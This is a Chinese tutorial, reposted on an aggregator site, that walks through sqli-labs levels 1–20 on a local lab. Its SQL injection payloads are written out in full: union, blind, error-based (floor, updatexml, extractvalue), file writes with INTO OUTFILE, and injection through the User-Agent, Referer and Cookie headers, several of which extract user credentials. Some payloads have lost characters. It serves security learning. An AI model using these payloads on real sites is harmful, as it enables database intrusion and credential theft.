ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

基于sqli-labs靶场的sql注入学习基础篇

2022-07-08 13:04:39  阅读:217  来源: 互联网

标签:group labs sqli select --+ sql id concat schema


一、SQL简介

SQL是一种查询语言,是一种访问和处理数据库,包括数据插入、查询、更新和删除。

具体功能总结如下

  • 可以对数据库进行查询并取得数据❗
  • 可以向数据库插入或删除记录❗
  • 可以建立数据库,表❗
  • 可以设置表,储存过程和视图的权限❗

示例

(基于sqli-labs靶场)#

先了解几个简单的语句

  • version():查看数据库版本
  • user():查看当前用户
  • database():查看使用的数据库
  • group_concat():一次性获取数据库信息
  • select 字段名 from 表名
  • select的后面表示筛选的内容,from的后面表示筛选内容来自的位置,where的后面表示筛选的条件

1-4关基于错误的字符串/数字型注入#

 

 

根据要求看出需要构建一个id参数值

首先判断是否为数字型注入,像这样输入回显正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

 

 

 

将后面的?id=1改为?id=1 and 1=1--+和?id=1 and 1=2--+发现回显都正常

于是判断一下是否为字符型注入,这里改变一下闭合的符号

像这样输入会报错

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

把报错拿出来分析

ctf赛题没有报错,这里只是靶场练习

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

''1'' LIMIT 0,1'这两个单引号包含部分就是报错部分

'1'是数据库中的完整部分,后面多个引号也是在说明属于字符型注入

像上面一样,将后面的?id=1改为?id=1 and 1=1--+和?id=1 and 1=2--+发现1=1时正常回显而1=2时没有回显

然后使用order by来确定表中的列数,为什么要确定表中字段的列数呢?是因为union联合查询的特点

union联合查询特点

  • 要求多条查询语句的查询列数是一致的
  • 要求多条查询语句的查询的每一列的类型和顺序最好一致

于是构造

  • ?id=1' order by 1--+  页面回显正常
  • ?id=1' order by 2--+  页面回显正常
  • ?id=1' order by 3--+  页面回显正常
  • ?id=1' order by 4--+  出现报错界面

篇幅问题我只展示了order by 4的报错这个

然后就确定了字段数,于是用联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+ 

(将id弄成一个负数的值或者是0,使前面的语句失效)然后看看union查询是否有回显位

这样就看到了2,3这两个回显位

然后利用union查询,查看数据库的版本和数据库名,这里面再补充点知识点

  • version():查看数据库版本
  • database():查看使用的数据库
  • user():查看当前用户
  • limit:limit子句分批来获取所有数据
  • group_concat():一次性获取所有的数据库信息

接着利用回显位查询数据库和数据库版本信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+

 

 

下一步爆表

再爆表之前先了解一波知识点:

  • information_schema.tables:包含了数据库里所有的表
  • table_name:表名
  • table_schema:数据库名
  • column_name:字段名

开始爆表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

 

 

查看users这个表上的字段名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),database() --+

 

 

然后从username和passwor字段上获得信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

以上是第一关的教程

第二关属于数字型注入,开始判断的过程没有那个单引号?id=1就可以,后面的步骤相同

第三关在第一关的基础上加了一个右括号?id=1')即可

第四关在第三关的基础上将'改为" ?id=")即可

第五—六关

关于获取字段的小技巧:我们从后台源码中,一般只要看到 select * from 表名,一般是要猜这个表里的所有字段,然后进行注入,如果是 select username,password from 表名,这种形式的可以直接利用2个字段,作为语句的注入字段。

判断注入类型#

首先http://127.0.0.1/sqli-labs-master/Less-5/?id=1

出现下面的页面

发现这里没有回显为,通常有三种做法:布尔注入、时间延迟注入、报错注入

先用http://127.0.0.1/sqli-labs-master/Less-5/?id=1 and 1=1

再用http://127.0.0.1/sqli-labs-master/Less-5/?id=1 and 1=2

 

发现回显相同,则这里不是数字型注入

http://127.0.0.1/sqli-labs-master/Less-5/?id=1

发现报错所以一定存在注入漏洞

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1 --+

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=2 --+

发现两次回显不相同,那么这里应该是字符型注入,单引号闭合

同样用二分法判断字段长度#

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3--+

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3--+

爆库名长度#

?id=1' and length(database())=8 --+时有回显

接下来就是进行数据库名称的爆破:#

?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >’a'--+ 通过二分法不断缩小范围。可以不断的爆出出数据库名称

接下来进行数据库下表的爆破:#

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+第一张表的第一个字母'e'

接下来继续爆列,得出第二列是用户名,第三列是密码;#

?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema=database()limit 2,1),8)='password' --+

以上是盲注的内容这个最好还是程序化的跑脚本比较好,手工注入费时

floor报错注入的方法#

这里先指明几个知识点#

因主键具有唯一性,利用主键重复导致报错,以此提取错误信息。

as其实就是一个别名的作用

union select 1,count(),concat((注入语句),floor(rand()*2))as a from information_schema.columns group by a --+

floor()、rand()、group by语句相结合的报错:

1、rand()函数:
rand()返回0到1的随机数。
rand(0)返回一个固定的0到1的伪随机数。

2、floor()函数:
floor(x)返回小于或等于 x 的最大整数。

3、group by语句:
group by语句可以根据一个或多个列对结果集进行分组,在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。

详见floor报错注入原理 - Joker-qi - 博客园 (cnblogs.com)

开始floor报错注入#

?id=1' union select count(),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()2))as a from information_schema.tables group by a limit 0,10 --+

?id=1' union select 1,2,3 from (select count(),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a --+

?id=1' union select 1,count(),concat((select password from users limit 2,1),floor(rand(0)2))as x from information_schema.tables group by x --+

updatexml的报错注入#

?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+,database()处可换成任意SQL语句

?id=1' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) --+

?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+

可将substr函数里的1处依次加31.(因为每次只能查出31为字符)

第六题闭合改为双引号即可

第七题

这里第七题打开后发现

这个与之前的不同,这里说明了要使用outfile函数

outfile函数#

就是将数据库的查询内容导到一个外部文件

这里用老办法试出闭合为’))

用show variables like ‘%secure%’;查看本机数据库的导出目录,如果随便导出到一个文件夹就会报错(secure_file_priv所对于的目录就是可以导出文件的地址)

?id=-1')) union select 1,database(),user() into outfile"D:/phpstudy_pro/WWW/1.txt" --+用这个句型可以查询数据

改动祥见1-4关笔记

第八、九、十关用盲注做祥见less-5;

第十一、十二关

打开第十一关发现他有个登录栏#

首先尝试用弱口令登录#

登录成功

输入单引号引起报错#

这个是属于单引号闭合;

用二分法得列数#

' order by 1#

这里将数字一逐个加一直到回显改变

这里我们就可以知道这个列数为二

判断回显位置#

' union select 1,2#

查询数据库名,和当前用户名#

' union select database(),user()#

爆表#

' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

看users这个表上面的字段名#

' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

查询用户名和密码#

' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

 第十二关将’改为“)即可

第十三关

这个题打开后

先用弱口令登录发现登录上但是没有回显,考虑使用报错注入

首先了解一波报错的句型#

floor报错#

union select 1,count(),concat((注入语句),floor(rand()*2))as a from information_schema.columns group by a

祥见5-6关

updatexml报错#

and updatexml(1,concat(注入语句),1)

extractvalue报错#

and (extractvalue(1,concat(注入语句)))

先用floor报错#

') union select count(),concat((select user()),floor(rand(0)2))a from information_schema.columns group by a#

') union select count(),concat((select password from users),floor(rand(0)2))a from information_schema.tables group by a#

用updatexml报错#

') and updatexml(1,concat(0x7e,database(),0x7e),1)#

') and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1)#

用extractvalue报错#

') and extractvalue(0x7e,(select database()),0x7e))#

第十四题闭合为”其余参考十三题

 

第十七关

打开发现如图#

 

 

PASSWORD RESET他这里显示重置密码

这里对账号框尝试了很多闭合发现都登录失败于是我投考了度娘,打开了PHP文件

 

 

这里我们可以看到,他先审核了账号,如果账号存在则对密码进行操作可知,这个注入点在密码框里且使用单引号闭合

下面开始爆库名#

User Name上面输入admin

New Password上面用1‘ and updatexml(1,concat(0x5e,database(),0x5e),1)#

 

 

爆名成功,其余步骤见第5-6关

首先了解下updatexml()函数

PDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:

updatexml(1,concat(0x7e,(`SELECT `@@version),0x7e),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: ``':root@localhost'

开始做第十八关

打开第十八关发现网页显示了我们的IP

 

 

先登录一下试试

 

 

登录后,网页显示了我们的User Agent,可以猜测网页将我们的信息插入到数据库中,再返回到页面上。只有与数据库有交互,就有可能存在注入点,因此我们尝试修改User Agent字段。这里使用了bp抓包工具,先抓取一个登录成功的包

 

 

再发送到repeater里,方便修改数据测试

 

 

先发送一个正常的数据包

 

 

可以看到返回正常我们将UA改成一个单引号重新发送

 

 

这里出现了报错,很明显存在注入,这里是insert插入语句,所以我们用报错注入将UA改成

1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1

爆出数据库

 

 

接下来爆表

1' and updatexml(1,concat(0x5e,(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1)),0x5e),1) and '1

 

 

接下来爆字段名

1' and updatexml(1,concat(0x5e,(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1)),0x5e),1) and '1

 

 

接下来爆字段上的信息

1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) and '1

 

 

第十九关是基于Referer的注入

 

 

 

其余步骤详见第十八关

 

第二十关

什么是cookie注入?#

cookie注入的原理是:就是修改cookie的值进行注入(cookie注入其原理也和平时的注入一样,只不过注入参数换成了cookie)

2.怎样cookie注入?#

cookie注入跟普通sql注入过程一样:

1.判断是不是注入点

2.得到字段总数

3.查选表名

4.查选列名

5.脱库

发现如下,我们先用弱密码登录

 

 

 

登录成功发现

这里我们代码审计查看后台源码

可以看到注入点在cookie且为单引号闭合,又是select * from这里要用二分法猜字段。

我们抓包后将Cookie改成1'

报错,这里用二分法查字段#

 

 

 

1' order by 4#时报错

联合查询1' union select 1,2,3#

 

 

 

23位回显

爆数据库名和版本号#

1' union select 1,database(),version()#

 

 

 

爆表名#

1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

爆字段名#

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

爆字段上的信息#

1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)#

完成注入

 基础篇到此结束

标签:group,labs,sqli,select,--+,sql,id,concat,schema
来源: https://www.cnblogs.com/qclown/p/16457860.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有